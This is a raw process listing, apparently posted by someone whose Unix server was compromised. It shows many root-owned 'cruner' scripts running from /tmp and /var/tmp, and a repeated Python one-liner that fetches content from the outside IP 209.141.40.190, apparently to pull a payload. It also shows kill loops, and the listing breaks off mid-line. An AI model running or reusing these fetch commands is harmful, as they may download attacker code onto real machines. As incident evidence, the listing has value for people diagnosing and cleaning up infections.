root 21158 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4425 550 0 - ? 0:00 <defunct> > root 10789 10783 0 15:45:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11010 21848 0 15:46:07 ? 0:00 sleep 60 > root 23328 27535 0 15:46:01 ? 0:00 bash -sh > root 28882 22337 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 7497 7480 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24415 4094 0 - ? 0:00 <defunct> > root 27107 11841 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 12686 4479 0 15:45:41 ? 0:00 /bin/ksh -p /bin/kill -9 > root 20289 12657 0 15:45:52 ? 0:00 sh /var/tmp/cruner > root 25967 874 0 - ? 0:00 <defunct> > root 27491 7465 0 - ? 0:00 <defunct> > root 27597 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8075 8045 0 15:45:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14925 24052 0 - ? 0:00 <defunct> > root 21578 27754 0 - ? 0:00 <defunct> > root 27659 19867 0 15:44:21 ? 0:00 bash -sh > root 12872 10483 0 15:43:32 ? 0:00 bash -sh > root 14017 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8550 19677 0 - ? 0:00 <defunct> > root 27480 17575 0 15:46:02 ? 0:00 sleep 60 > root 5256 5356 0 15:45:58 ? 0:00 sleep 60 > root 11977 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16756 21161 0 15:45:56 ? 0:00 xargs kill -9 > root 23664 25269 0 15:44:08 ? 0:00 bash -sh > root 15186 18957 0 - ? 0:00 <defunct> > root 288 15267 0 15:45:34 ? 0:00 sleep 60 > root 22375 27001 0 15:45:52 ? 0:00 bash -sh > root 23621 17724 0 15:46:14 ? 0:00 sh /var/tmp/cruner > root 16134 17226 0 - ? 0:00 <defunct> > root 3675 15170 0 15:45:58 ? 0:00 sh /tmp/cruner > root 29395 8034 0 15:45:24 ? 0:00 bash -sh > root 28844 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22237 20107 0 15:44:19 ? 0:00 bash -sh > root 27081 19310 0 15:45:34 ? 0:00 sleep 60 > root 7221 29513 0 15:45:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29690 950 0 - ? 0:00 <defunct> > root 15628 26351 0 15:45:41 ? 0:00 sleep 60 > root 24647 24643 0 15:43:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16858 29650 0 15:46:13 ? 0:00 bash -sh > root 27226 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24537 17392 0 15:45:47 ? 0:00 sleep 60 > root 8465 8264 0 15:43:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 328 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 2789 2735 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12857 12811 0 15:45:59 ? 0:00 /bin/ksh -p /bin/kill -9 > root 10683 4794 0 15:45:55 ? 0:00 bash -sh > root 23397 19567 0 15:46:05 ? 0:00 bash -sh > root 18082 2987 0 - ? 0:00 <defunct> > root 23712 22675 0 15:43:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27482 16946 0 - ? 0:00 <defunct> > root 15440 11529 0 15:42:19 ? 0:00 bash -sh > root 9944 27311 0 - ? 0:00 <defunct> > root 26651 29853 0 15:44:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9236 1731 0 - ? 0:00 <defunct> > root 22193 25143 0 - ? 0:00 <defunct> > root 15179 25364 0 - ? 0:00 <defunct> > root 12196 11823 0 15:45:50 ? 0:00 xargs kill -9 > root 19739 22425 0 15:44:53 ? 0:00 bash -sh > root 7236 8721 0 15:44:38 ? 0:00 bash -sh > root 22417 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22533 19394 0 15:44:08 ? 0:00 bash -sh > root 11908 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 1974 1849 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24551 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8035 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21997 22965 0 15:46:01 ? 0:00 sh /tmp/cruner > root 22206 23583 0 - ? 0:00 <defunct> > root 18450 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 20532 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26979 18983 0 15:45:07 ? 0:00 bash -sh > root 6744 6737 0 15:45:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14475 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 26095 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2273 7501 0 15:45:24 ? 0:00 sleep 60 > root 6969 23825 0 15:45:35 ? 0:00 sleep 60 > root 11372 23225 0 15:44:51 ? 0:00 bash -sh > root 17249 14757 0 15:45:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28111 13219 0 15:45:27 ? 0:00 sleep 60 > root 12346 29680 0 - ? 0:00 <defunct> > root 4516 24931 0 15:44:46 ? 0:00 bash -sh > root 20886 11608 0 - ? 0:00 <defunct> > root 19605 29986 0 15:46:14 ? 0:00 bash -sh > root 19834 4176 0 15:45:17 ? 0:00 bash -sh > root 13382 12538 0 - ? 0:00 <defunct> > root 5894 17691 0 - ? 0:00 <defunct> > root 13425 11540 0 15:43:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14286 13726 0 - ? 0:00 <defunct> > root 25333 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2125 10040 0 15:45:35 ? 0:00 sleep 60 > root 19119 21635 0 15:45:42 ? 0:00 sleep 60 > root 3539 28855 0 - ? 0:00 <defunct> > root 9320 25232 0 - ? 0:00 <defunct> > root 28331 20017 0 15:45:08 ? 0:00 sh /var/tmp/cruner > root 14983 18673 0 15:45:05 ? 0:00 bash -sh > root 24048 27015 0 - ? 0:00 <defunct> > root 10828 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13650 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 3636 18991 0 15:45:40 ? 0:00 bash -sh > root 37 19205 0 15:43:41 ? 0:00 bash -sh > root 15246 15159 0 15:45:25 ? 0:00 bash -sh > root 28553 23248 0 - ? 0:00 <defunct> > root 6771 22527 0 - ? 0:00 <defunct> > root 16499 17993 0 - ? 0:00 <defunct> > root 8204 27204 0 15:45:45 ? 0:00 bash -sh > root 25787 21197 0 - ? 0:00 <defunct> > root 24373 23050 0 15:43:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28230 24635 0 15:45:08 ? 0:00 sh /tmp/cruner > root 16726 7351 0 - ? 0:00 <defunct> > root 19234 14300 0 - ? 0:00 <defunct> > root 15210 20852 0 15:44:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8634 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 10530 29493 0 15:45:41 ? 0:00 bash -sh > root 9313 7670 0 - ? 0:00 <defunct> > root 15849 28777 0 15:43:12 ? 0:00 bash -sh > root 4179 14854 0 - ? 0:00 <defunct> > root 28869 8845 0 15:45:47 ? 0:00 sleep 60 > root 7677 10688 0 15:45:54 ? 0:00 sleep 60 > root 14845 12993 0 15:45:55 ? 0:00 /bin/ksh -p /bin/kill -9 > root 6329 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1289 6607 0 15:45:34 ? 0:00 sleep 60 > root 10482 10466 0 15:45:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24121 10728 0 15:45:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9703 10977 0 - ? 0:00 <defunct> > root 26169 13024 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 13669 7784 0 - ? 0:00 <defunct> > root 1410 846 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16630 9598 0 15:45:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9253 7654 0 15:45:59 ? 0:00 bash -sh > root 29794 17390 0 - ? 0:00 <defunct> > root 940 21338 0 - ? 0:00 <defunct> > root 9419 27256 0 15:45:54 ? 0:00 bash -sh > root 8163 6519 0 15:46:07 ? 0:00 bash -sh > root 22705 3020 0 15:46:01 ? 0:00 sh /tmp/cruner > root 16810 13918 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 15437 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28747 12543 0 15:45:34 ? 0:00 sleep 60 > root 10573 10570 0 15:45:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7449 7409 0 - ? 0:00 <defunct> > root 22501 24422 0 15:46:01 ? 0:00 bash -sh > root 26103 26093 0 15:43:40 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28611 20427 0 15:46:02 ? 0:00 sleep 60 > root 21372 8539 0 15:45:26 ? 0:00 bash -sh > root 2805 10209 0 15:45:14 ? 0:00 bash -sh > root 14365 14345 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23841 15924 0 - ? 0:00 <defunct> > root 2778 11827 0 15:44:12 ? 0:00 bash -sh > root 28722 16115 0 - ? 0:00 <defunct> > root 26501 23823 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 1641 16932 0 15:45:19 ? 0:00 bash -sh > root 11140 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 26007 12312 0 15:45:47 ? 0:00 sleep 60 > root 28332 25926 0 15:46:15 ? 0:00 grep :4444 > root 1239 1432 0 15:46:06 ? 0:00 bash -sh > root 8923 8543 0 15:46:12 ? 0:00 sleep 60 > root 29805 13126 0 15:46:02 ? 0:00 bash -sh > root 1086 6414 0 15:45:39 ? 0:00 sh /var/tmp/cruner > root 4939 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11267 1131 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12744 9506 0 15:44:25 ? 0:00 bash -sh > root 13250 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24210 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28034 1 0 03:06:40 ? 0:00 sh /var/tmp/cruner > root 9578 8696 0 15:43:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6493 8385 0 - ? 0:00 <defunct> > root 12788 3626 0 15:45:59 ? 0:00 xargs kill -9 > root 14840 11781 0 15:46:13 ? 0:00 bash -sh > root 23802 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17351 15705 0 - ? 0:00 <defunct> > root 19176 25209 0 - ? 0:00 <defunct> > root 5361 12671 0 15:45:54 ? 0:00 bash -sh > root 4137 13179 0 - ? 0:00 <defunct> > root 19103 21173 0 15:45:56 ? 0:00 xargs kill -9 > root 10605 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26722 8784 0 15:44:09 ? 0:00 bash -sh > root 16941 21739 0 15:46:08 ? 0:00 sleep 60 > root 5885 5880 0 15:43:25 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18554 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9125 23278 0 - ? 0:00 <defunct> > root 16746 2035 0 15:46:08 ? 0:00 sleep 60 > root 13375 28131 0 - ? 0:00 <defunct> > root 24385 5692 0 15:44:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23881 23870 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13783 28224 0 - ? 0:00 <defunct> > root 15753 422 0 15:45:56 ? 0:00 sleep 60 > root 14287 12266 0 15:44:52 ? 0:00 bash -sh > root 24994 19534 0 15:46:10 ? 0:00 sleep 60 > root 20400 10365 0 15:46:00 ? 0:00 sh /tmp/cruner > root 3573 14489 0 - ? 0:00 <defunct> > root 14405 13232 0 15:44:43 ? 0:00 bash -sh > root 835 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 12248 8645 0 15:46:08 ? 0:00 bash -sh > root 25240 3984 0 - ? 0:00 <defunct> > root 7083 16368 0 - ? 0:00 <defunct> > root 15254 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29320 8399 0 - ? 0:00 <defunct> > root 5339 21201 0 15:45:58 ? 0:00 bash -sh > root 3227 24150 0 15:45:54 ? 0:00 bash -sh > root 19931 10395 0 15:46:09 ? 0:00 sleep 60 > root 16612 4273 0 15:45:42 ? 0:00 bash -sh > root 26052 13179 0 - ? 0:00 <defunct> > root 18148 10318 0 15:45:26 ? 0:00 sleep 60 > root 15309 28267 0 15:45:25 ? 0:00 sleep 60 > root 6557 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29928 5725 0 15:45:14 ? 0:00 bash -sh > root 6529 5235 0 15:45:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17535 12044 0 15:46:00 ? 0:00 sh /tmp/cruner > root 18849 14325 0 15:44:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24716 17892 0 - ? 0:00 <defunct> > root 7117 1262 0 15:44:42 ? 0:00 bash -sh > root 21121 21751 0 - ? 0:00 <defunct> > root 13654 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2202 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2126 434 0 15:46:06 ? 0:00 bash -sh > root 18993 12472 0 15:46:09 ? 0:00 bash -sh > root 26598 2598 0 15:45:47 ? 0:00 sleep 60 > root 11205 13034 0 15:45:10 ? 0:00 bash -sh > root 29250 7525 0 15:44:55 ? 0:00 bash -sh > root 4758 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26099 4184 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17667 1672 0 15:45:22 ? 0:00 sleep 60 > root 27447 27432 0 - ? 0:00 <defunct> > root 7008 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 848 29962 0 15:45:48 ? 0:00 sleep 60 > root 1188 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 13201 4299 0 - ? 0:00 <defunct> > root 9338 13897 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 16076 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5287 20121 0 15:45:44 ? 0:00 bash -sh > root 28774 28817 0 - ? 0:00 <defunct> > root 23915 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1270 12960 0 15:45:39 ? 0:00 bash -sh > root 9357 8196 0 15:45:15 ? 0:00 bash -sh > root 25251 24666 0 15:46:05 ? 0:00 sleep 60 > root 16522 23956 0 15:46:13 ? 0:00 awk {print $7} > root 15784 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4301 2825 0 15:45:35 ? 0:00 sleep 60 > root 16179 16176 0 - ? 0:00 <defunct> > root 27356 27236 0 15:45:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19651 3277 0 15:43:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8669 3540 0 15:45:45 ? 0:00 bash -sh > root 13270 19186 0 15:46:13 ? 0:00 bash -sh > root 1276 8682 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 5435 21995 0 15:44:46 ? 0:00 bash -sh > root 17460 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 21441 17006 0 15:46:14 ? 0:00 awk {print $7} > root 7015 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28803 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16689 13604 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 10778 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 5941 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21104 7332 0 - ? 0:00 <defunct> > root 23906 3703 0 15:46:14 ? 0:00 bash -sh > root 20593 24790 0 15:45:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27901 27892 0 15:44:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13116 3995 0 15:45:21 ? 0:00 sleep 60 > root 20888 27717 0 15:44:40 ? 0:00 bash -sh > root 7923 28475 0 15:45:20 ? 0:00 sleep 60 > root 8157 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29618 29599 0 15:45:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25669 27618 0 15:45:07 ? 0:00 bash -sh > root 16884 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7095 15638 0 15:46:07 ? 0:00 bash -sh > root 594 317 0 15:44:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16293 16282 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16493 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16120 6459 0 - ? 0:00 <defunct> > root 28765 29996 0 - ? 0:00 <defunct> > root 18458 25870 0 - ? 0:00 <defunct> > root 22170 24775 0 15:45:30 ? 0:00 sleep 60 > root 20441 26552 0 15:45:38 ? 0:00 bash -sh > root 25823 25815 0 15:45:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6732 4062 0 15:44:51 ? 0:00 bash -sh > root 1238 17936 0 15:45:44 ? 0:00 bash -sh > root 17398 28081 0 15:45:56 ? 0:00 sleep 60 > root 23659 20916 0 - ? 0:00 <defunct> > root 16502 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23360 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15504 19407 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 27702 8999 0 15:44:10 ? 0:00 bash -sh > root 1915 1 0 21:34:37 ? 0:00 sh /var/tmp/cruner > root 19674 26144 0 15:46:09 ? 0:00 sleep 60 > root 19081 29529 0 - ? 0:00 <defunct> > root 19258 29080 0 15:46:14 ? 0:00 bash -sh > root 17546 25198 0 15:45:56 ? 0:00 sh /var/tmp/cruner > root 12895 12027 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14013 5011 0 - ? 0:00 <defunct> > root 1836 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2309 8640 0 15:44:11 ? 0:00 bash -sh > root 693 7325 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11063 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 14052 17006 0 - ? 0:00 <defunct> > root 4778 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27973 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13004 23030 0 - ? 0:00 <defunct> > root 26403 21387 0 - ? 0:00 <defunct> > root 28831 11259 0 15:45:34 ? 0:00 sleep 60 > root 29061 18765 0 15:45:24 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12608 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17902 26966 0 15:45:46 ? 0:00 xargs kill -9 > root 21025 20218 0 15:45:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16121 17258 0 - ? 0:00 <defunct> > root 10369 1 0 09:59:56 ? 0:00 sh /var/tmp/cruner > root 2727 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8274 19457 0 15:45:58 ? 0:00 sleep 60 > root 7105 26523 0 15:44:51 ? 0:00 bash -sh > root 26445 20083 0 - ? 0:00 <defunct> > root 27186 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22784 15131 0 15:45:26 ? 0:00 sleep 60 > root 10435 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2528 3993 0 15:45:40 ? 0:00 bash -sh > root 16643 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 2041 22599 0 15:45:39 ? 0:00 bash -sh > root 988 7211 0 - ? 0:00 <defunct> > root 18183 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27312 17297 0 15:45:07 ? 0:00 bash -sh > root 1486 11854 0 15:45:48 ? 0:00 sleep 60 > root 24125 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23268 8291 0 - ? 0:00 <defunct> > root 23945 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8608 28032 0 15:46:07 ? 0:00 sleep 60 > root 17114 6282 0 - ? 0:00 <defunct> > root 8477 8455 0 - ? 0:00 <defunct> > root 422 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8450 12822 0 15:45:10 ? 0:00 bash -sh > root 25134 21314 0 15:45:39 ? 0:00 bash -sh > root 27924 6479 0 15:46:02 ? 0:00 sh /var/tmp/cruner > root 1121 26153 0 15:45:39 ? 0:00 bash -sh > root 8387 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7990 20865 0 15:42:18 ? 0:00 bash -sh > root 18166 15149 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15287 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6066 8872 0 15:44:13 ? 0:00 bash -sh > root 13010 1406 0 15:46:08 ? 0:00 bash -sh > root 5063 9039 0 15:45:54 ? 0:00 bash -sh > root 22973 15500 0 - ? 0:00 <defunct> > root 29366 23775 0 15:45:18 ? 0:00 sleep 60 > root 20061 128 0 15:46:14 ? 0:00 xargs kill -9 > root 14356 3461 0 15:44:52 ? 0:00 bash -sh > root 20340 19416 0 15:45:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24795 16518 0 15:45:52 ? 0:00 sleep 60 > root 5650 17519 0 15:45:31 ? 0:00 sleep 60 > root 20749 7371 0 - ? 0:00 <defunct> > root 26439 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6249 27550 0 15:45:35 ? 0:00 sleep 60 > root 1150 3821 0 - ? 0:00 <defunct> > root 21776 8614 0 15:45:06 ? 0:00 bash -sh > root 21838 1452 0 15:43:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28808 28172 0 15:45:39 ? 0:00 sleep 60 > root 577 12378 0 15:46:11 ? 0:00 sleep 60 > root 16282 19118 0 15:45:51 ? 0:00 bash -sh > root 10206 10196 0 15:45:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15312 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7233 16503 0 15:44:42 ? 0:00 bash -sh > root 12891 3590 0 15:45:50 ? 0:00 bash -sh > root 18447 26055 0 15:46:09 ? 0:00 bash -sh > root 13616 22763 0 15:46:13 ? 0:00 bash -sh > root 22703 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 51 11873 0 - ? 0:00 <defunct> > root 25227 3202 0 15:46:10 ? 0:00 bash -sh > root 28095 14723 0 15:45:34 ? 0:00 sleep 60 > root 29410 23406 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 4471 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 18881 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2268 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29203 12177 0 15:45:43 ? 0:00 sleep 60 > root 6440 14612 0 15:45:25 ? 0:00 bash -sh > root 29946 18062 0 15:45:31 ? 0:00 bash -sh > root 5232 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 5496 12807 0 15:45:49 ? 0:00 xargs kill -9 > root 21782 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 23 3092 0 15:45:58 ? 0:00 sleep 60 > root 18481 6312 0 - ? 0:00 <defunct> > root 23941 28402 0 15:46:01 ? 0:00 bash -sh > root 9458 1330 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 8216 11410 0 15:45:36 ? 0:00 bash -sh > root 5491 14742 0 - ? 0:00 <defunct> > root 28984 3112 0 15:45:18 ? 0:00 sleep 60 > root 28261 22464 0 15:44:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12582 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19570 19508 0 - ? 0:00 <defunct> > root 15338 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28186 7995 0 15:46:02 ? 0:00 sleep 60 > root 8922 2425 0 15:45:45 ? 0:00 sleep 60 > root 21650 6950 0 15:45:42 ? 0:00 sh /var/tmp/cruner > root 19638 16276 0 15:46:00 ? 0:00 xargs kill -9 > root 24783 11334 0 15:46:14 ? 0:00 bash -sh > root 9806 7813 0 15:43:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17622 22270 0 15:43:03 ? 0:00 bash -sh > root 22749 15289 0 15:45:38 ? 0:00 sleep 60 > root 19513 19484 0 - ? 0:00 <defunct> > root 9714 21914 0 15:45:20 ? 0:00 bash -sh > root 14590 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14325 22079 0 15:43:56 ? 0:00 bash -sh > root 12615 26721 0 - ? 0:00 <defunct> > root 9841 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21146 24700 0 - ? 0:00 <defunct> > root 17132 4432 0 15:45:46 ? 0:00 bash -sh > root 16774 16254 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 16506 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23073 4661 0 15:46:09 ? 0:00 xargs kill -9 > root 14352 2813 0 - ? 0:00 <defunct> > root 11513 5762 0 15:45:55 ? 0:00 bash -sh > root 45 16973 0 15:46:11 ? 0:00 bash -sh > root 14016 27529 0 15:46:13 ? 0:00 bash -sh > root 28037 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19202 19724 0 15:45:12 ? 0:00 bash -sh > root 24055 1744 0 - ? 0:00 <defunct> > root 17913 2330 0 15:44:52 ? 0:00 bash -sh > root 9310 23584 0 15:45:41 ? 0:00 xargs kill -9 > root 4140 4505 0 - ? 0:00 <defunct> > root 26521 11443 0 15:46:01 ? 0:00 bash -sh > root 14862 23398 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 4966 25636 0 15:45:54 ? 0:00 sleep 60 > root 5484 2375 0 15:46:06 ? 0:00 bash -sh > root 10739 8701 0 15:44:51 ? 0:00 bash -sh > root 22683 1908 0 15:46:14 ? 0:00 sleep 60 > root 23999 9478 0 - ? 0:00 <defunct> > root 3987 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15799 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10942 14073 0 15:45:50 ? 0:00 bash -sh > root 11745 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13469 14644 0 - ? 0:00 <defunct> > root 14027 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18454 15500 0 - ? 0:00 <defunct> > root 24617 11366 0 15:45:47 ? 0:00 sleep 60 > root 21479 20616 0 15:45:42 ? 0:00 /bin/ksh -p /bin/kill -9 > root 1369 7273 0 15:46:06 ? 0:00 bash -sh > root 5607 18745 0 15:45:49 ? 0:00 bash -sh > root 23198 22819 0 15:45:43 ? 0:00 bash -sh > root 14092 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15884 20991 0 15:43:33 ? 0:00 bash -sh > root 10063 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 10919 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1802 16878 0 15:45:48 ? 0:00 sleep 60 > root 20167 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24235 29121 0 - ? 0:00 <defunct> > root 20260 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19374 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12393 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26448 18033 0 - ? 0:00 <defunct> > root 22842 22264 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 7113 7109 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > afarley 4867 1083 0 15:20:23 pts/2 0:00 -bash > root 21181 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18912 1981 0 - ? 0:00 <defunct> > root 4452 5403 0 15:45:58 ? 0:00 /bin/ksh -p /bin/kill -9 > root 16071 21690 0 - ? 0:00 <defunct> > root 15624 1 0 Oct 06 ? 0:01 